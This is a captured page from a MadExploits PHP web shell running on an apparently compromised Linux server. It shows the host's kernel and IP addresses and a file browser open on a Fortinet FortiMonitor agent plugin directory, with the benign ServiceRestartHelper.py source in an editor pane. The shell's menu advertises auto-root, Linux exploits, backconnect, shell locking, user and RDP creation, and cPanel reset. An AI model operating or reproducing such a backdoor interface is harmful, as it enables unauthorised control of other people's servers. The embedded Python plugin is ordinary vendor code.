Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 13.59.112.169
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
countermeasures /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
CountermeasureLogHelper.py
2.29
KB
-rw-r--r--
CountermeasurePlugin.py
3.5
KB
-rw-r--r--
CountermeasureScriptHelper.py
2.28
KB
-rw-r--r--
ServiceRestartHelper.py
4.5
KB
-rw-r--r--
__init__.py
592
B
-rw-r--r--
disk_cm.py
657
B
-rw-r--r--
dmesg.py
626
B
-rw-r--r--
netstat.py
638
B
-rw-r--r--
reboot.py
844
B
-rw-r--r--
sample.py
1.88
KB
-rw-r--r--
top.py
800
B
-rw-r--r--
users_cm.py
649
B
-rw-r--r--
vmstat.py
601
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ServiceRestartHelper.py
""" FortiMonitor service restart Countermeasure helper - base class to allow easy restart of services regardless of the controlling service in use. Currently supports: - init - Upstart - SystemD - ... Copyright 2023 Fortinet, Inc. All Rights Reserved. fm-ops@fortinet.com To use, create a subclass of ServiceRestartHelper and define the following property: - service: The service name to restart The following other properties can be set if you wish to customize further: - max_frequency: Optional override to limit how often the service can be restarted - name - A human-readable name for the countermeasure - textkey - A unique textkey describing the countermeasure - description: Optional longer description of what the plugin does For example: class ApacheRestartCountermeasure(ServiceRestartHelper): service = "apache2" max_frequency = 900 # Restart at most once every 15 minutes """ import os import sys from CountermeasurePlugin import CountermeasurePlugin class ServiceRestartHelper(CountermeasurePlugin): wall_announce_delay = 10 max_frequency = None sudo_requirements = [["service", "svcadmin", "stopsrc", "initctl"]] service = None capture_output = True author = "support@panopta.com" @property def name(self): return "Restart %s" % self.service @property def textkey(self): return "restart.%s" % self.service.strip() @property def description(self): return "Restart the %s service" % self.service def validate(self): problems = [] if self.name == "Base Countermeasure": problems.append("Missing name definition") if self.textkey == "base": problems.append("Missing textkey definition") if self.service is None: problems.append("Missing service definition") return problems and ", ".join(problems) or None def run(self): if self.service is None: self.log.error("No service specified for %s Countermeasure" % self.__class__.__name__) return # Figure out what service management system is in use # TODO: Fill in this logic, potentially using details from # https://github.com/ansible/ansible-modules-core/blob/devel/system/service.py if "sunos" in sys.platform: service = "sunos" elif "freebsd" in sys.platform: service = "freebsd" elif "aix" in sys.platform: service = "aix" # Various Linux options from here on down elif self.which("initctl") and os.path.exists("/etc/init/%s.conf" % self.service): service = "upstart" elif self.which("systemctl"): service = "systemctl" elif self.which("service"): service = "service" elif os.path.exists("/etc/init.d/%s" % self.service): service = "init" # If we made it to here, we haven't identified a management framework else: self.save_text_output("Unknown service management framework, unable to restart %s" % self.service) return self.log.info("Found service management framework %s" % service) # Based on the service management system, restart the service if service == "aix": return_code, output = self.execute("sudo -n stopsrc -s %s; sudo startsrc -s %s" % (self.service, self.service)) elif service == "sunos": return_code, output = self.execute("sudo -n svcadm restart %s" % self.service) elif service == "freebsd": return_code, output = self.execute("sudo -n service %s restart" % self.service) elif service == "init": return_code, output = self.execute("sudo -n /etc/init.d/%s restart" % self.service) elif service == "systemctl": return_code, output = self.execute("sudo -n systemctl restart %s" % self.service) elif service == "upstart": return_code, output = self.execute("sudo -n initctl restart %s" % self.service) elif service == "service": return_code, output = self.execute("sudo -n service %s restart" % self.service) else: self.save_text_output("Unknown service management framework, unable to restart %s" % self.service) return final_output = "Completed restart of %s" % self.service if output and self.capture_output: final_output += "\n" + output self.log.info(final_output) self.save_text_output(final_output) self.save_return_code(return_code)
Close